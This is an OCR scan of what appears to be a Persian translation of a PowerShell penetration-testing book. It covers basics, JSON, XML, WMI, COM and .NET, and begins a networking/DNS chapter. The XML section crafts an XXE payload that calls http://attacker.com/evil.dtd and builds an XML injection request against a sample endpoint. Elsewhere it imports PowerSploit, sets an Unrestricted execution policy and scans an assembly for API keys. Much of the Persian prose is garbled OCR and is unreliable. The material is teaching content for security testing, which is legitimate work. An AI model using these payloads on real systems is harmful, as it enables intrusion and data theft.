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PowerShell for Penetration
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Introduction to Penetration Testing
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e What is penetrating testing?
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e Ethical, legal, and regulatory requirements

e Managing and executing a penetration test
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Ethical, legal, and regulatory requirements
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Managing and executing a penetration test
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Programming Principles in PowerShell - 090 Jas

S losls 4 oy Lie g 6 Sws ezl yiei] bl ol Coibge Sl ayle Sl S5t Cend slss 4
© e b (ol 5ol el et S g (el AR Sy (e DglE (sline 4 Al e il b
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Jad ! jo eols slace,d . lo s o XML g JSON L 5,95 5 30 o1 &)le 05940 395 Cond b )] Gaos

Bl o )le @uilop e 2 9)lge 4
e PowerShell’s versatility in penetration testing

e Navigating JSON and XML with PowerShell
e Automation, integration, and reporting

@ 553585 Cad (gl mobio Il Glgie a1y 0g3 oKl o3Y SIS 5 6,55 s 4 PowerShell
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e Basic concepts of PowerShell and pipeline in PowerShell

e JSON in PowerShell

e XML in PowerShell

e Component Object Model (COM), Windows Management Instrumentation
(WMI), and .NET in PowerShell

Basic concepts of PowerShell and pipelines in PowerShell
ool g (g ol by (g5lu, 5045 (gl a5 Cal 0ie3 108 g 0,15 Aol wngs 4ol by o PowerShell
Sl Sole Langs ol jo a8 L ysly el 00y (b j90n5 gladaie Lis ;0 eazey loan] B o5l
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S oo Slatin 5 sl sl 5l PowerShell o ot

e Sequence

e Selection

e |teration

e Encapsulation
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il 51 o )liw oS s 5L g | A (600,500 9 (6 ey (5 50wd T S (b o e
PowerShell Core sl L .05 o3 dgame jaoing slopiuew 4 L5 PowerShell .l 5 opdle
500 5 Linux macOS  slaiiy célug Sile (040 o0 a5l 35 PowerShell 7 olgie 4 (i)

63y Lo «2lS pl gl 05 hawd gepiily wix :Lx:é‘g dooly SOy ol g ol oS | lap,ail
S o 5 S 0 oy oo |, PowerShell 7 .55 o 55 5 PowerShell 7

https://github. com/PowerShell/PowerShell.

Syl ey 48 (2297 480 g Slusl llaz palS ()5 sl )5 (o5l Sogs 5 Saalen 1y g J>
a \) UT > cmdlet oo).'L...f dcgozo g ‘;6...: 0,50, (S o W)San sledlls Dgl 0 A p

ol 08,57 bad jading g e Slapiaaw Jge (5l 5 Copoe Sl 5590 )l

ol Cows el opl 4 SPSVersionTable s e

PS C:\> $PSVersionTable

Name Value

PSVersion 7.3.0

PSEdition Core

GitCommitId 7+3.0

(o}:] Microsoft Windows 10.0.19042
Platform Win32NT

PSCompatibleVersions 1.0, 2.0, 3.0, 4.0.}
PSRemotingProtocolVersion 2.3

SerializationVersion 11051

ol Caslw S50 Lo (gam pa3 (pils o |y b giuw (59, » >l Jl> 0 PowerShell ases a5 45T
3,50 Mlysa San cpla o, clp A8 oo (§lwosly PowerShell e Sl glp Bas a5 el
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PS C:>Get-ExecutionPolicy -List
Scope ExecutionPolicy

MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine RemoteSigned
PS C:>

oeile 5o olg3 oo |, PowerShell slacs Sl lya! Sblg ool s gs aalip b5 o PowerShell

oS ooliiul ) ygtwd 5l pslys o POWErShell (o8 Jlad gl 0, Jldye L Jbd e

PS C:\> Set-ExecutionPolicy Unrestricted

Il e sl sase eolewl I slaciiy lp wpaS ololid die b uyiws ;o ceal g oglils (gl oS
find- jgiws 5l oolatwl b ) 05350 sl gile dad auilss oo Lo .05 o ooliul o Jg5le 51 POwerShell
a tag an Tl eolatul L1y oS aslS S g9l Jgsle SO ol o0 a5 ol (oS Cww d Module

10,5 9w pj Oygo

PS C:\> find-module -tag SSH

5 95lls |, T Install-Module jgius 5l soliiw! b auwilss oo cou0,S ololid |, a5 5,90 Jojlo a5 Ko

PS C:\> Install-Module -Name SSH
51, b ecmdlet b algs aslsl s oS IMport Ldes |, PowerShell Josle G ewslss oo uros b

o1y g ol b PowerShell Jgs5ke o ceas 1y .05 o IMport [PowerSploit.psdl g5l

0.5 1>l root L administrator . jiws zhew L PowerShell
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PS C:\> Import-Module .\PowerSploit.psdl

&y olulis sl cmdlet Get-Command jl caslsl jo .0uiS () g o0 Sz Command

PS C:\> Get-Command -module SSH

CommandType Name Version Source

Function Invoke-SSHCommand 1.0.0 SSH

aalol jo oS olulis get-help jgiws 5l eolanal L 1, PowerShell Jgsle 51 oolatul o956 puslys oo Lo
13,5 peblss w,p |, Get-Location ;! eolaiwl ogzs

PS C:\> get-help Get-Location

Hoysly b dad o cung anliy slo sl 4y apms ojlal (e gel 1) o Jg5le 5 i jsly i 0950 aS y5:S|

oosls (6, Sws § (il o cogo s laools glgil g Lo uxio PoOWerShell 7 o .o jlos 25
5 Codle ools glail a5 Jl> o S o Joe polas 6l Gl olbbaaion lgicds b ysie i)l
w9 o Sl (gly ooy glgil g o pio b IS 0500 )0 aiS g0 Gy 1) 0alio 3 sloools sl Sg
sl (ool oo (glegsl g
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bl 00ls g5 s 1 3l ookl 51 8 yuiie S5 00l g5 gy a4 (g5li 5 (Sre ol 4 e
25 70« PowerShell jo ml, slasols glgl 51 S 088 oo (ptd yuiiie 4 00 03l Lanass ladke
]

Al False L True wig o Jgr e SO 0940 o0 o0latul (6 ,ub > oy ya5 6l ] :BOOleAN
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$name = "Andrew Blyth"

109 oo oolaiwl JolS slacl 0,53 (sl cpl dINtegers

Sage = 57
229 o odliiwl jxio o 4o jlaEe (paix 0 pud gl opl AArTAYS

Smyfruits = @("apple", "banana", "orange")

:aigi oo ooliiwl Key/Value glaci> o 058 6l ooyl :Hash tables

Sperson = @{
Name = "Andrew Blyth"
Age = 57}

Sge yeb auly osls b o3l oo ;0B 1, L PowerShell 7,5 jge j5b 4 laools glgil g o e 5l ool
Co e ygamlogil (gl aied ;08 gl a1y ] 5 0SS e g (6,0 w0 pBd 893 slacs Sl jo
85 5l eolB sl el b oo oo ol Lats 4 a8 cenl sl J S sl S if jgiws PowerShell o
by (53l 555 5 e Sl 55 (655 mamal (lp Ygono s () S 2l o3 Ll Gl 2,

1ol ool |f JGwO Ay .bj.g).a SyntaX éy.o‘sa oolazwl

if (condition) {
# Code block to execute if the condition is true

w8 0,5 eolatul PowerShell jo olgs o 1) if jgiws s> oums (Lis b oS oy 1y Jle iz ol
cdel Test-Path .5 L s ls 092y b oG LT aS asS o) p (g0 Slaladl plmil 5 LS aualgs o 0usS

:.)3.33(5@ oolazu! if )P L: °|J'°'°

@ Securityworld.ir Luo 63l 9lid jol 6383 S iy




Eﬂl’ﬂ 3965 G (5l g Sl ygb b oulubl @

SECURITYWORLD

Sfile = "C:\mydatafile.txt"
if (Test-Path Sfile) {

Write-Host "The file exists!"
}else {

Write-Host "File not found."}

Sl Lt a4 a5 wies Sl JS ol sbe,bisle IS5 sle bsle o beail> PowerShell s
63l 5355 (6l il ] S 1ol oo e Lyl i olal S jobo a1 05 Ssly Ky wias o
s Sh el 6,55 slaclles plol g baosls L3518, daacgaze 31,k 5l LSS Jolis a5 sl
L a5 a2 o &1l 1) 0,2 5 dO...While while foreach for sl ail> Lsls pois> PowerShell

3905 0kl Jige jsb ar o] Glyicn 41552 oy B 3,5 elss o ol Jlie
Slaws a5 Sle) Yaore H5iws ol 05 so ooliiul caseie slass jo oS Ssb S l,2! sl for ail> for
S5 Ole SO g b i SO adgl Jladie SO el fOr Ll sihe jlews sl o 1 5L 0550 sla S5 5.8

(o]

for (Si = 1; Si-le 5; Si++) {
Write-Host "For loop iteration: Si"}

S plxil 5 (0, g ] daay])]) acgemme SO slapnl jle o 1S5 sl fOreach 4il> foreach

229 o0 S5 degera 10 pate o G b 5l Sas5 jeb g oo esliiul el ya sl Jes

Sfruits = @("Apple", "Banana", "Orange")
foreach (Sfruit in Sfruits) {
Write-Host "I like Sfruit"}

while .ailes Bb cawyo b o o as Jloj b asS o 12l 5,50 j5b 1, 05 Soby G While ail> :while

S oo 2l ) bl el jobo 4y 1SS 0 51 LS
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Si=1

while (Si -le 5) {
Write-Host "While loop iteration: Si"
Si++}

Ll 1) a5 Sl la i)l golS gy 5 Lol wzesl While ail> wiils do...while 4il> :do...While

Si=1

do {
Write-Host "Do...While loop iteration: Si"
Si++

} while (Si -le 5)

» e ail> S, PowerShell foreach 4il> , o9l :ForEach-Object (Loop Pipeline)
Gk 5l a1 bl aas o Sl s 4 ol s e «l)) FOorEach-Object ;| solava! L pipeline
DS il (S (SS disd oo il Pipeline

Snumbers = 1..5

Snumbers | ForEach-Object {
Write-Host "Pipeline Loop: S_"}

Sla 5 aas o Skl Lud 4 a5 sas s 45,1 |, loop/repeat sl tslu 5| ¢ slacgoe PowerShell
IS Sige oo a1y 053 slaces Sl 0l 5 00,5 (bl 1y o8ls (sloasgame 1S 5055 |y (6,15
ple aiS o Saied 08 5 5L | Lt PowerShell slacos Sl da bzl ol 5l solatwl 5 S0 awnles
Alned > A5 by Copde gl g ol alils axgi 0sdll Colys o slradls 4 deadl> 5l oolatul

A8 7,0 1, continue L break slas Le

JSON in PowerShell

5 b pcaw! olobs gl (8l s O (gjlo ad Jolds a5 cunl Sl collad SO d4i5 Cos
2O ooy i ;a8 sangs aslp by SO PowerShell el aslis b i SO j0 cans bl

Sy b Jolss oblg g 085S gnnlegil slacalild (s pdy Slasil o a4 39005 Laome
PowerShell ;I soliul ogou ¢ idu ol 5ol o) 53485 cans 6l p dias) )l 5,10l s API g g
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‘:La)l.’ aosle ‘S’La:y)l.uu Lo .))S M‘? )y |) .)9.0.: Cans )‘ ‘s&m Q‘?“'c Ew JSON L;Lﬁo.b‘b o o 6‘)“
6K 5 JSON sl 5 et | leSlol ] 5l JSON elienly 4555 sog sWAPI 51 ISON (slaosls

Dl el idg 1) ioles] Claal 6l JSON (slasgls

Retrieving JSON Data from Web APIs

5asyls g gl APL L el 4 5L o ol plssl b Sledlbl gyl aox (slp dél ) 53585 s
5 ol 0,5 03lizal JSON glaosls i3l 5 WAPI 4y HTTP coulss o Jlo)l (ol ols5 0 PowerShell
) gl Copoe s HTTP Glacalgs s sll oi1,8 a5 Anvoke-RestMethod l eolacul b g5 oo )

3,59 Cewsd 45 S 0 o0lw

SrepoUrl = "https://api.snowcapcyber.com/repo"
Sresponse = Invoke-RestMethod -Uri SrepoUr|
Sresponse

ol Lasiw URL 4 InvokeRestMethod ;i eolaxw! L1, HTTP GET coulgs o G L (Jlo ol 5o
o Ss a1y ol S b & PowerShell g oy salys JSON CJB o sl oS oo Jlo)

3,5 dalgs Solwl 1) leesls (6, Sws § (o yiwd ol (ol 0S5 o Jsou5 PowerShell

Parsing JSON Data

PowerShell .s4i 4525 (o5 Dledbl 2] Sl gl Canwb oo Sledlbl I JSON slaosls Sb5L 51 e
A s ysd 45 03405 olu! PowerShell <Lil & JSON slaosls o5 sl |, ConvertFrom-Json
[y O Sl gs § o B eoges 4325 APL GitHUDb 511, JSON zwly asls oS oo oLl 1) alBlas olic

SrepoUrl = "https://api.snowcapcyber.com/repo"
Sresponse = Invoke-RestMethod -Uri SrepoUrl
SrepoObject = ConvertFrom-Json Sresponse
Write-Host "Repository Name: $S(SrepoObject.name)"
Write-Host "Description: S(SrepoObject.description)"
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ol 4 PowerShell _» <G 4 JSON #ul bos sl ConvertFrom-Json 5l L Jle cpl 5o
Sloesgi g o35 b aiile (b 5l cols sl g 4 puslel oo L oS oo o0liiwl SrepoObject
ol Bl o s

JSON Manipulation for Payloads

oinleyl gl logly cole pln ot wwl (5y90 JSON slaosls (o, Kiws 34 s Jobo 4o
(oS Ol pdscuwl AP G & HTTP POST culgs o 6 sl JSSON

Spayload = @{
"username" = "admin"
"password" = "P@ssw0rd123"
} | ConvertTo-Json
Sheaders = @{
"Content-Type" = "application/json" }
Invoke-RestMethod -Uri "https://snowcapcyber.com/api/login" -Method
Post -Body Spayload -Headers Sheaders

oS o i a5 y9ee 30,y 9 6,5 pb slaald L |, Spayload eb 4 PowerShell ia Jgox Jls ol 5o
Invoke- .osS o oolitwl JSON soly o a4 e Jgox Lo sl ConvertTo-Json I e
QS oo Jloyl ool aseie APl & HTTP POST cwlgs s G o 1, JSON 5L, (RestMethod

@ aS Cwl JladealdS slacis | glacgemme (i Jeu> L Hash Table G PowerShell s :aisG
Ol 50 auS 0,38 wille (6,5l Djge 4 g Al LSl Sygo a1y ooy a5 aes o |y Sl il el
(password 5 username) luiec-ols cas> ¢ Joli a5 el hash table <, $payload . Jus

Ol oo

Interacting with JSON from Files

&lp Sl slasl, PowerShell s ls )15 s o L j0 00l 0,53 JSON (slacols b el o) 3585 cos
LB S I ISON slacsls spls oS oo &l o bl 5la JSON slaosls yiigs o oyailes

S 0,3 BB o Iy &) O g 03905 ddlo] By u;fﬁ S5 ‘m.sly'q
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SjsonFilePath = "C:\path\to\file.json"
SjsonData = Get-Content -Raw -Path SjsonFilePath | ConvertFrom-Json

# Add a new property
SjsonData | Add-Member -Name "role" -Value "admin"

# Save updated JSON back to the file
SjsonData | ConvertTo-Json | Set-Content -Path SjsonFilePath

Raw- ol Jle ol 55 ouslss oo Get-Content jl eolicl b Lyl o5 511, JSON (claosls « Lo oyl 4o
JSON (slgizms (s 09 o0 0d3lg3 ailin ) SO lgie 4 cbglas ]l O (sl @ lgime 45 0iS o (puondsi
5ot 4 dax (Shy o 39938 5l e w5 oo o SjsonData #b 4 PowerShell & G« |,

21, ol Set-Content ;l oolatul b g 0uiS oo 00litw! JSON co)d 4 o1 a5 sl ConvertTo-Json
S (o0 0 S S

Web Scraping and Data Extraction

Gbosls gl g Dlio ) cols Sl 2] el 4 jls Conl Sae ,F 5585 Cen gy L 51 (S0,
2l 1) JSON (glgime sl arils Jolss g Slxio b w5 oo PowerShell .ol axsls JSSON
z! 5l JISON slaosls (gl g amio S5 51, Sledlbl auas ojl>l oS (ol 1y o] imen 5 00403
e2d Gloled | o)1 g ot

Surl = "https://snowcapcyber.com/data.json"
Sresponse = Invoke-RestMethod -Uri Surl
Sdata = Sresponse.data
foreach (Sitem in Sdata) {
Write-Host "Name: S(Sitem.name)"
Write-Host "Age: S(Sitem.age)"
Write-Host "Occupation: S(Sitem.occupation)"
Write-Host ""}

oals aseie URL 51 JSON slasols bjL sl Invoke-RestMethod i L« Jle ol jo

Srosls 45 (1S o 5,8 Lo 395 o 0D SIESPONSE e ;o Gl Leaw oS o o0l
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foreach ail> < ;I L .oewn Occupation 3 Age Name slo 559 L Lusl 5l slal,T g9 JSON

oS om ooliiul su sl Sledbl Lisle 5 asl)] 5 o5 8 o ,LST gl

Sl Gl 3985 s 3l idu Glgxe 4 JSON slaosls (o3ls 0 sl p aiesy)l 15l S5 PowerShell
a1y T JSON Glagul 456 SUls g wog slacalys s sl jo clgaw JSON (g ISws 51 )T cog
LS.’:‘ L)‘ﬁ"'c LY ] oo)_f J.u\.u JSON P e 9 LgL%bwj)m 9 l» API b)lS 6‘)‘3 o)lS dod 6‘4...:;
Soglenz jo i ollg Wiy o PowerShell 5 JSON (glasols jige (il 095 S y0  Fdgiicans

Do Gl s BB e 4 |y calisie sl sla o) plxl 5 s iyl 516,18 0 40 Dl
XML in PowerShell

it sl ly (sl SV (55l 4 ol ol (gl il 5 Sl Sl S, 358 s
0,5 o cwng sl by o PowerShell ol aslis b pitns SO j0 cans blis g las iyl
ot b Jolsi ollg 5 00,2 (ygmmlogi] slocell (gl Bllawil s &) Gaatys bzee 10 sop
31 eolaiwl ogms ( idu cpl yo el 3 glp saedy,l gylpl XML ales ) esls calisee
gl b 0,8 melys w)y p dgiicens 5 cise Glgie 4 XML slassls o pow 51, 1, PowerShell
&l XML ool (s, Siws g XML slaNode ;i acass )l csledbol 1 sl XML sl L 4 525 assle

Sl pelys g 1) cioley] Glaal
Reading and parsing XML files

g go axlpe olas SOl b b gon Sy sbrosls g5l XML slo b b el o S3gaicans
L ol ,ee Get-Content ;l coliwl L XML sl bl 4555 4 oy sl ool of, o PowerShell
lgte el g anl s S go Sy Slawkas gol> a5 1, XML s S als s oo 431l Select-Xml

S 4525 g
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SxmlFilePath = "C:\MyData\config.xml"
SxmlContent = Get-Content -Path SxmlFilePath
SxmlDoc = [xml]SxmlContent

Ssettingl = SxmlDoc.configuration.setting1
Ssetting2 = SxmlDoc.configuration.setting?2
Write-Host "Setting 1: Ssetting1"

Write-Host "Setting 2: Ssetting2"

SxmlFilePath Lug sas asie XML LB slygxe oalss sl Get-Content 5l L ¢ Jlas opl 5o
XML & paobio 3 XML 25 G a0 [XMI] g4 saims ol 51 oolitnl b1 lgxome o -auiS oo ooliiul
sy XML jo 653 sl S5 g jolic 4 b and o ojll Lo ay 009 o0 00l LS SxmlDoc L 45

Extracting Information from XML Nodes

I, oleel, PowerShell ove 555 9 Node paix b 5,06 slo,tsle Jols del XML sla L
SOl ams o)l ams so @l ared ;)| Sledbl gzl sl 5 5l alades sla bislo ) o Lislew sy
oSzl sl canl oIS 44 bgy ye slrosls gol> a5 XML L6 G 5

oS i |y 2 XML by

<employees>
<employee id="1">
<name>Andrew Blyth</name>
<age>57</age>
<position>Manager</position>
</employee>
</employees>

' @ Securityworld.ir Luo 63l 9lid jol 6383 S iy




Eﬂl’ﬂ 3965 G (5l g Sl ygb b oulubl @

SECURITYWORLD

oS Sl ol Gislep slp |y p; PowerShell ol co wo,S ca s |, L3 XML a5 oK

SxmlFilePath = "C:\MyData\employees.xml"
SxmlContent = Get-Content -Path SxmlFilePath
SxmlDoc = [xml]SxmIContent
Semployees = SxmIDoc.employees.employee
foreach (Semployee in Semployees) {
Sid = Semployee.id
Sname = Semployee.name
Sage = Semployee.age
Sposition = Semployee.position
Write-Host "Employee ID: Sid"
Write-Host "Name: Sname"
Write-Host "Age: Sage"
Write-Host "Position: Sposition"
Write-Host ""

employees o 5 4 w .0uiS o0 4355 g 0dilgs LS b, 5l eslatwl b1y XML LU L (Jle ol jo
2 oS 0,55 |, employee o 5 a5,k 5l foreach dil> Gl soliinl b g oS oo lou (m yiasd
2O oo imlad g 00,5 zl Sl 0,5 o 5l Caxdae 5 e ipl o ST anlis wsle Sledlbol casls> 5l
Modifying XML Data

Sialesl aile sl anals cols glagy s ;o XML slaosls oMol 4y 5l ol San oS 3685 Cand
Sloabats (ggl> a5 XML LE S aolo (il sla 508 (595 590 b (5399 (7w Liel slas p 3y o]

oS 0,033 b8 oy 00l 59, 4 XML g s s Sl IS
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<userSettings>
<setting name="theme" value="dark" />
<setting name="language" value="en-US" />
</userSettings>

oS Sl ol Gislep slp |y p; PowerShell ol oo wo,S ca s |, L3 XML a5 oK

SxmlFilePath = "C:\MyData\settings.xml"
SxmlContent = Get-Content -Path SxmlFilePath
SxmlDoc = [xml]SxmlIContent
SxmlDoc.userSettings.setting | Where-Object { S_.name -eq "theme" } |
ForEach-Object {
S_.value ="light"}
SxmlDoc.Save(SxmlFilePath)

s'» Where-Object cmdlet ;| s viS o0 40355 5 pslys o0 S8 aiilo |, XML 15« Jlie ol 5o
theme sl L |, pulas a5 ol8n .puiS 0 ooliznl NAME  S5g wlol p lealas slaNode 0,5 sls
0als 55, 4 XML o .53 (sl Save e 5l ol 1o o oo s light @ 1) T Jlade F5g (ou0,5 o
oS oo oolainl LB o

Crafting XML Payloads

K33 sk XML P e Lgl.ascgfq;wT u.M.aLo)T 6‘)‘.’ LS"")L°‘”" XML L.;Laso9L.‘ Colw dgdicand Job o
Sl aby S bl slp XML ool 6ol ool Jooro XML External Entity (XXE)
oS Sloul XXE (slos 1 dy ]
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Spayload = @"
<IDOCTYPE root [
<IENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
1>
<root>
<data>Confidential information</data>
</root>
"@
# Save the payload to a file
SpayloadFilePath = "C:\MyData\payload.xml"
Spayload | Out-File -FilePath SpayloadFilePath

Document LB G oS oS o iy 05 )5 Cudgzge (el G (g5l XML sl G Lo ¢ Jlie (] 5o
Sk s ol XXE Jgome gl SO ol 05 o (o2STy o>l 49, 511, DTD L Type Definition
g oolazwl XXE 61-“’6)%3:3.&«:«»—‘ J;.,“Loﬂ &l WlgS co a5 1S o 0,md LB o )

XML Injection Testing

IS o palesl XML Go,50 sla pdcaml @l 1) g 0,5 slaasliyy el ol Sdgaicus

GLQM[SA Lsfli})| Lg‘,g 5999 Lgl.(bdl.:_é L g):'u XML Lgl.bd% Gy 9 \)L?Li‘ 6‘).3 Q|936o PowerShell
3,5 oolatl dal p XML Liel g 4y 30
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SmaliciousPayload = @"
<root>
<data>
<name>John Smith</name>
<age>30</age>
<I-- XXE injection payload goes here -->
</data>
</root>"@
SinjectionPoint = "http://snowcapcyber.com/api/data?xml=" + [System.
Web.HttpUtility]::UrlEncode(SmaliciousPayload)

e oS o0 dlul oolo paie Bl o XXE &, dekl G (g5l e XML ssls G Lo Jlie oyl o
U oS o Goy5 o 4ol p o (098 00 00lo oyLzs SinjectionPoint L a5) (5,9 ald SG |, sgks oy

COM, WMI, and .NET in PowerShell

s WMI .COM asils ciliee slacs,slid b Jolss Ulss 5 05,58 yglogi] slacoLls PowerShell
S e wld 358 s sl |, WNET

Using WMI for System Information Gathering

OleMbl 4y cwyiwd (gl 1y sloais o,laliwl of ) a5 Cawl jaaing j0 died ;0 Cu pae 5,5k SO WMI
LWMI slasols b ams o ojl>! )] ,53445 cs 4 PowerShell oS oo pal 8 08 g (505,500 ¢oiimns

ICSLIPY SOWE U RV PSWESWIN Y VIS M})\ Sl 6)51@-?' 6‘)-.’
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3550 ol5iwd 43 sal cuai sla,l3dl o5 OL5L sl WML 5l o> g )y sl POwerShell ;1oL

oS ool L

SsoftwarelList = Get-WmiObject -Class Win32_Product | Select-Object
-Property Name, Vendor, Version
foreach (Ssoftware in Ssoftwarelist) {

Write-Host "Name: $(Ssoftware.Name)"

Write-Host "Vendor: S(Ssoftware.Vendor)"

Write-Host "Version: S(Ssoftware.Version)"

Write-Host "" }

olis a5 oS oo ooliwl WINn32_Product (o) o g sl Get-WmiObject I L« Jlio oyl o
l, Version g Vendor Name sile cols sl 555 o <ol pitns (59, 00 i 380 05 saias

RO o0 u.u.)l.o.* ‘59'9).‘> 5O ‘) Sl 9 oo)S s.;l?w‘
Querying WMI for Network Information

PowerShell .o jls Bun wivws Al (500,50 9,50 50 Sledbl (5] aex @ 5L Cdel o) F3g85 s
p...S oolaw! ds.o...u u)ls Sleds| 6‘)4 WMI )‘ 99 Wy

SnetworkAdapters = Get-WmiObject -Class Win32_
NetworkAdapterConfiguration | Where-Object { S_.IPAddress -ne Snull }
foreach (Sadapter in SnetworkAdapters) {

Write-Host "Adapter Description: S(Sadapter.Description)"

Write-Host "IP Address: S(Sadapter.IPAddress[0])"

Write-Host "MAC Address: S(Sadapter.MACAddress)"

Write-Host """}

SN 5l ey e lp  Get-WmiObject 51 L Jle ol
Al LS Glewdas sasas lis a5 4S5 e eolaw!l Win32_NetworkAdapterConfiguration
S_.IPAddress -ne ) oS Gix |, 1P Loyl o slacs)l5 b oS oo j2kd |) ol Lo .ol
sl sl &5 pa sl |, MAC uyol 5 IP ool aSls &5 Sledgs s (SNUI
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Interacting with COM Objects

w1y S0 b el g Loyl el S8l ey gliml 4 a5 ol clug Sile (g,5ké X, COM
COM 5 S ol sl PowerShell 5oy oS solal ol 51 g asil acsls Jolss calisee Cloal
‘1,....5 oolazw! J.wf‘ LgL(bJ,u’lé L;)lS.’Z.....nb 6‘)‘.‘

Sexcel = New-Object -ComObject Excel.Application
Sworkbook = Sexcel.Workbooks.Add()

Ssheet = Sworkbook.Worksheets.ltem(1)
Ssheet.Cells.ltem(1,1) = "Name"
Ssheet.Cells.Iltem(1,2) = "Age"
Ssheet.Cells.ltem(2,1) = "John Doe"
Ssheet.Cells.ltem(2,2) = 30

Sexcel.Visible = Strue

oS oo oolazwl Excel asls,, COM : o 5l auas dges G ol sl New-Object 5l L Jlo ol o
4ol p g oS oo ol Lo Jgle j0 1) polie (ouiS o olu! wuas> Worksheet s Workbook G s
e o5 5 4iS JS0g5 1) ST Sldos b oo 0 ojlxl Lo o ol .0uiS 0 cmlie LB 1, Excel
w20 il 1) 20 (56155 ¢ (6 Sus dosls 2l 5l
Using .NET for Cryptographic Operations
ooliiwl (6,138 50, g Lid wile 5,50, Sldee sl Net gla oS 5l Wil o yien PowerShell

g oo oolil el by S ialesT b aosls (55ke yesl (slp Seiicens ;5 Ygono 45 wiS
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oS oolawl Ll G MD5 jie acwlxe gl .NET 3 PowerShell ;| aes o5l

SfilePath = "C:\MyData\file.txt"

Smd5 = New-Object -TypeName System.Security.Cryptography.
MD5CryptoServiceProvider

SfileStream = [System.lO.File]::OpenRead(SfilePath)

Shash = Smd5.ComputeHash(SfileStream)

SfileStream.Close()

ShashString = [System.BitConverter]::ToString(Shash) -replace "-", ""
Write-Host "MDS5 Hash: ShashString"

System.Security.Cryptography.MD5CryptoServiceProvider.NET .S 5l L o Jle ool 5o
dlre 1) 20 oeS oo 5 s ub Sl jo 1) LB L oS oo oolin] L6 3 MD5 e aculxe sl
oS o0 oo Jlopol S iy oled ) e slacal 5 S (o

Using .NET for Network Operations

oS ooliiul Zwl (o318, 9 HTTP GET coulgs o 4l .NET g PowerShell

Surl = "https://api.snowcapcyber.com/data"
Srequest = [System.Net.WebRequest]::Create(Surl)
Sresponse = Srequest.GetResponse()

Sstream = Sresponse.GetResponseStream()
Sreader = New-Object -TypeName System.|lO.StreamReader -ArgumentList
Sstream

SresponseText = Sreader.ReadToEnd()
Sreader.Close()

Sresponse.Close()

Write-Host "Response Body:"

Write-Host SresponseText

s System.Net.WebRequest sy 5l L e RO
oolawl oais yaseie URL & HTTP GET coulgs,o ¢l » System.10.StreamReader.NET

20 oo (inles g puiles oo |y el (Slgiome e @S o
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Analyzing .NET Assemblies for Vulnerabilities

slas L ‘sll.o;’.>| 6“%;9.%%1 6‘)‘.’ NET L;L«s=‘..<:9.<>:>;..o J...L'z.- 9 4y Lg‘).g Q‘}'{‘So PowerShell )'|
S| (gexins 4 NET acgozme 3l laalls, C‘)é’;;‘”" <l PowerShell 3amle s Sl ool oS )l

i oolaw! | ulus 0galls
Gt

SassemblyPath = "C:\MyData\Assembly.dIl"
Sstrings = [System.l0.File]::ReadAllText(SassemblyPath)
# Search for potential sensitive information
SapiKeyPattern = "APl_KEY=[A-Za-z0-9]+"
Smatches = [System.Text.RegularExpressions.Regex]::Matches(Sstrings,
SapiKeyPattern)
Write-Host "Potential API Keys found:"
foreach (Smatch in Smatches) {
Write-Host Smatch.Value }

o9 o [System.10.File]::ReadAllText ;l soliwl b oo & g0 a0 1, NET acgomme JS ¢ Jlo ol o
f““"Sgs“’ oolasu! GL.A.»:‘ 5o 05.L|L> API LSLQA.JS 8 T 6‘)—’ w.’a_..,o u‘)L,_c )| Ry

ol yo o) oUlgs .ol Sga5cis ;o NET s WML .COM  jo5ls s (sl anes; ) 1l S PowerShell
0, 8ae b calizee caylbg plosil o NET slacsos ;i colaiwl WMI glaosls 5l 4> ¢ wy {COM sl L
s s B0 slapiincw j0 cand bl g o pdocamw! olulis slp ) laeoil 51 glos 8 il « NET
Ao co &Ll o F3485

dod g aalip by o PowerShell asis b bas e cnlby 5 6,50, Sldos 6l [NET 5l ool

el 08 05l el Olilas oLl g mels el sla ol sl sl | ) 585a Cans 45 Canl oS
3585 sl coS WNET 3 WMI .COM Slles 51, PowerShell i $ae oolatul sgs S j0 .0i5

S oo wal B ) (a8ly lis Sex plp yo sl 2L Ol g wiSu oo sene
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Network Services and DNS - sqw Jad

oolw LS‘)" PowerShell u).)..e )‘ 9 ‘—Q.J)‘Q)JLSA DNS w).:d.o 9 ASM» Sleas od..»..?w LSL""Q QO L ¢Jmﬁ L)"‘ )o
aS @buT 3 peS oo ookl Sledbl (6,0l 0w cole )y Sl sladdie pl gile a5 il
St lax LSS Sldas (gl aSil Jae Cu pi wids oo aslol 595 Jlizws sbo, (b S 4 o losle

Lol Slo g5 5 YL

g Ol 60,0 50 Jied ;08 aie U (lgie A g3 (698 cms iian Sl slac L8 L PowerShell
PowerShell DNS &lgw oo o 5 DHCP wlodas (g Ko 5l 040 0 ol aSlts Sloas oboue
s DNS Lo [3alS 0sS Laas | aSets oL 5 00,5 8055 |, cayllsy b amo o |, oSl 5l oyl psoke &
Resolve DNS wlelas 5,Sews sl PowerShell 51k 1,5 ol oo oy o o6 ] wlbls )l slo
oS oo oolawl Domain Name Resolutions oLl 5| bbbl g lag> g oy (9900

s slalis 5 os loisiin b1y Lad hab al sl (goiies e S b ay ol IT Jaascis S 4

Slply s oblg 5 aiS oo e DNS Cu pow 5 4t Sleas o PowerShell o a8 5l oolaul (6l

el 25 55 4y bl Lol ey

e Network services
e DNS and types of DNS queries
e DNS and PowerShell

Network services

b= > Hlaca b Jae o] OSI Joss 4 TCP/IP Joe 1035 o Az ool oo 90 caSiis gL o
Ysors TCP/IP Joo S o e Olbls )l 58,5 Jbd (gl od b aSeds sla JS5o 0 LIS 0976 5,5 sy
"\"SLSQ 4\3‘)‘ <5‘°5'9r°‘° c.‘>).a x_i’ OSI J.)uo 45 ‘;L‘> )b ‘59564 6}L”°“>L.?i

TCP/IP network services

TCP/IP amo oo JoSis |, oyoe slaasios ¢ ol wlol a5 conl o JS5gp 51 (laegoxe TCP/IP

S oo et |y e (sloolSins (L3l a5 ams o aill 1) (6 s 0 a5 aliee 5l g oo
Bl ai )b Jow onl oS slaadlge
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olKiws 4 1y (60,84 pastin P (sla 0] iS oo Colon loasls (o |, ools slaasus [P (sla ol :IP
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The IP addresses
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3 dynamic or private
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The OSI stack
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AJSGAW‘) ool OL’PB AAS‘SA w).’.)uo |) Uas- g_g’l")l"ﬁ om)l,_,s.o ooty ) u,...?u

Soaled (piad WS o o pie |y asl p o aail 9 (6,055 ands> lawl 4Y ] Session layer
Ao oo plil ) liay gy S g ools (5lw

ol 3yl eage ol bosls Cwyd (gilw 00,88 § (5,135 e, e 5 aiilsg Y ol :Presentation layer
